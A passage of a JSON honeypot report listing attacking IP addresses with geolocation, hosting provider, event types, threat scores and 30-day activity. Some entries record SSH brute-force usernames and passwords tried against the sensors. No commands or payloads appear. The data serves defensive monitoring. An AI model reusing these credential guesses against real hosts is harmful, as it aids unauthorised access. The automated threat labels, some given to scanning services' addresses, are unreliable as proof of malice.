      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xinxiang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T22:22:59.370000+00:00",
        "last_seen_30d": "2026-03-29T22:26:00.984000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "116.176.75.150": {
      "attack_count": 17,
      "first_seen": "2026-03-15T08:59:42.937Z",
      "last_seen": "2026-03-15T09:02:08.058Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "345ert#$%ERT",
        "a1234567a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T08:59:42.937000+00:00",
        "last_seen_30d": "2026-03-15T09:12:09.901000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 9
      }
    },
    "122.96.50.196": {
      "attack_count": 16,
      "first_seen": "2026-03-20T23:23:28.450Z",
      "last_seen": "2026-03-20T23:26:09.691Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T23:23:28.450000+00:00",
        "last_seen_30d": "2026-03-20T23:27:11.933000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "222.215.104.173": {
      "attack_count": 15,
      "first_seen": "2026-03-16T03:29:06.885Z",
      "last_seen": "2026-03-16T03:30:33.030Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:29:06.885000+00:00",
        "last_seen_30d": "2026-03-16T03:32:32.492000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "164.90.141.1": {
      "attack_count": 12,
      "first_seen": "2026-03-02T06:49:55.406Z",
      "last_seen": "2026-03-02T06:54:46.169Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "root123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:49:51.761000+00:00",
        "last_seen_30d": "2026-03-02T06:55:55.023000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "165.232.101.23": {
      "attack_count": 12,
      "first_seen": "2026-03-11T06:45:09.567Z",
      "last_seen": "2026-03-11T06:49:46.181Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "firedancer",
        "solana"
      ],
      "passwords_attempted": [
        "firedancer",
        "solana"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T06:41:37.321000+00:00",
        "last_seen_30d": "2026-03-11T06:50:53.679000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "182.92.202.149": {
      "attack_count": 12,
      "first_seen": "2026-03-06T12:23:03.954Z",
      "last_seen": "2026-03-27T16:26:56.616Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T12:23:03.954000+00:00",
        "last_seen_30d": "2026-03-27T16:28:04.632000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 12,
        "Redishoneypot": 6
      }
    },
    "125.94.107.91": {
      "attack_count": 11,
      "first_seen": "2026-03-20T09:23:06.327Z",
      "last_seen": "2026-03-20T09:26:11.326Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jiaxing",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T09:23:06.327000+00:00",
        "last_seen_30d": "2026-03-20T09:27:20.725000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 7
      }
    },
    "118.26.39.231": {
      "attack_count": 10,
      "first_seen": "2026-03-30T02:25:09.227Z",
      "last_seen": "2026-03-30T02:25:12.590Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:58:43.984000+00:00",
        "last_seen_30d": "2026-03-30T02:26:21.813000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Miniprint": 21,
        "Cowrie": 10,
        "Honeytrap": 9
      }
    },
    "91.144.21.210": {
      "attack_count": 8,
      "first_seen": "2026-03-11T13:51:29.403Z",
      "last_seen": "2026-03-11T13:51:50.605Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": null,
      "asn": 29256,
      "as_org": "Syrian Telecommunication Private Closed Joint Stock Company",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T08:56:50.924000+00:00",
        "last_seen_30d": "2026-03-11T13:52:56.665000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 8,
        "Dionaea": 4
      }
    },
    "192.227.159.123": {
      "attack_count": 7,
      "first_seen": "2026-03-18T10:37:47.693Z",
      "last_seen": "2026-03-18T10:37:48.219Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 653,
        "days_active_30d": 17,
        "ports_targeted_30d": 113,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T01:37:25+00:00",
        "last_seen_30d": "2026-03-18T12:38:37.660000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 435,
        "Honeytrap": 206,
        "Cowrie": 7,
        "Dionaea": 4,
        "H0neytr4p": 1
      }
    },
    "40.67.161.178": {
      "attack_count": 7,
      "first_seen": "2026-03-02T19:28:33.485Z",
      "last_seen": "2026-03-02T19:28:43.524Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 23.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 28,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T19:27:27.863000+00:00",
        "last_seen_30d": "2026-03-29T12:43:18.282000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 7,
        "Dionaea": 3
      }
    },
    "103.69.243.154": {
      "attack_count": 6,
      "first_seen": "2026-03-28T22:53:34.690Z",
      "last_seen": "2026-03-28T22:57:46.542Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 135762,
      "as_org": "Clear Beam Communications Pvt. Ltd.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T22:53:34.690000+00:00",
        "last_seen_30d": "2026-03-28T23:05:42.535000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "138.68.150.191": {
      "attack_count": 6,
      "first_seen": "2026-03-17T19:39:58.750Z",
      "last_seen": "2026-03-25T19:29:25.425Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 59.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.2,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 167,
        "days_active_30d": 9,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-17T19:39:58+00:00",
        "last_seen_30d": "2026-03-25T19:30:36.556000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 121,
        "Honeytrap": 33,
        "Cowrie": 6,
        "Ciscoasa": 3,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "138.68.154.198": {
      "attack_count": 6,
      "first_seen": "2026-03-09T00:56:32.046Z",
      "last_seen": "2026-03-31T19:29:12.573Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 85.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 23,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-09T00:56:30+00:00",
        "last_seen_30d": "2026-03-31T19:30:28.987000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 24,
        "Cowrie": 6,
        "Ciscoasa": 2,
        "H0neytr4p": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "161.35.204.154": {
      "attack_count": 6,
      "first_seen": "2026-03-27T00:17:39.877Z",
      "last_seen": "2026-03-27T00:17:40.458Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T00:17:39.877000+00:00",
        "last_seen_30d": "2026-03-27T00:18:46.956000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "66.132.172.182": {
      "attack_count": 6,
      "first_seen": "2026-03-21T23:33:27.855Z",
      "last_seen": "2026-03-21T23:34:02.434Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 75.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 11,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-21T23:33:27.855000+00:00",
        "last_seen_30d": "2026-03-31T08:47:57.274000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 31,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Honeyaml": 2,
        "Dionaea": 1
      }
    },
    "192.253.248.94": {
      "attack_count": 5,
      "first_seen": "2026-03-06T01:59:40.300Z",
      "last_seen": "2026-03-06T01:59:42.692Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "1234!Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:38:56.838000+00:00",
        "last_seen_30d": "2026-03-14T18:26:24.860000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Heralding": 23,
        "Cowrie": 5
      }
    },
    "65.49.1.202": {
      "attack_count": 5,
      "first_seen": "2026-03-02T00:12:23.756Z",
      "last_seen": "2026-03-28T03:48:02.742Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T00:12:23.756000+00:00",
        "last_seen_30d": "2026-03-31T15:20:26.571000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 193,
        "Honeytrap": 92,
        "Dionaea": 7,
        "Mailoney": 6,
        "Cowrie": 5,
        "Adbhoney": 4,
        "ConPot": 2,
        "Honeyaml": 2,
        "Ipphoney": 1
      }
    },
    "91.224.92.125": {
      "attack_count": 5,
      "first_seen": "2026-03-26T18:02:40.338Z",
      "last_seen": "2026-03-26T18:02:56.653Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4845,
        "days_active_30d": 22,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-10T06:59:28+00:00",
        "last_seen_30d": "2026-03-31T23:13:46.600000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2605,
        "Honeytrap": 1492,
        "Miniprint": 717,
        "Tanner": 13,
        "Dionaea": 11,
        "Cowrie": 5,
        "H0neytr4p": 2
      }
    },
    "14.53.205.55": {
      "attack_count": 4,
      "first_seen": "2026-03-16T00:08:33.462Z",
      "last_seen": "2026-03-16T01:06:35.958Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Namyangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:08:33.462000+00:00",
        "last_seen_30d": "2026-03-16T01:07:43.211000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "147.185.132.165": {
      "attack_count": 4,
      "first_seen": "2026-03-07T22:10:57.604Z",
      "last_seen": "2026-03-07T22:11:01.164Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T19:03:14.418000+00:00",
        "last_seen_30d": "2026-03-30T12:14:14.492000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 33,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Dionaea": 2,
        "Honeyaml": 1,
        "Sentrypeer": 1
      }
    },
    "147.185.132.67": {
      "attack_count": 4,
      "first_seen": "2026-03-18T16:22:14.708Z",
      "last_seen": "2026-03-18T16:22:18.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T03:29:27.910000+00:00",
        "last_seen_30d": "2026-03-31T01:13:02.547000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 32,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "CitrixHoneypot": 1
      }
    },
    "165.22.86.7": {
      "attack_count": 4,
      "first_seen": "2026-03-09T01:59:00.913Z",
      "last_seen": "2026-03-09T01:59:01.535Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 5,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-08T21:56:32+00:00",
        "last_seen_30d": "2026-03-12T18:14:37.971000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 46,
        "Cowrie": 4,
        "Mailoney": 2,
        "Ipphoney": 1
      }
    },
    "167.99.137.21": {
      "attack_count": 4,
      "first_seen": "2026-03-11T14:27:09.264Z",
      "last_seen": "2026-03-11T14:27:29.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 5,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T12:26:01+00:00",
        "last_seen_30d": "2026-03-12T16:29:54.418000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 25,
        "Cowrie": 4,
        "Tanner": 2
      }
    },
    "205.210.31.172": {
      "attack_count": 4,
      "first_seen": "2026-03-13T07:20:53.128Z",
      "last_seen": "2026-03-28T23:17:33.168Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T00:27:34+00:00",
        "last_seen_30d": "2026-03-31T07:44:44.438000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 16,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "206.168.34.113": {
      "attack_count": 4,
      "first_seen": "2026-03-06T00:09:06.709Z",
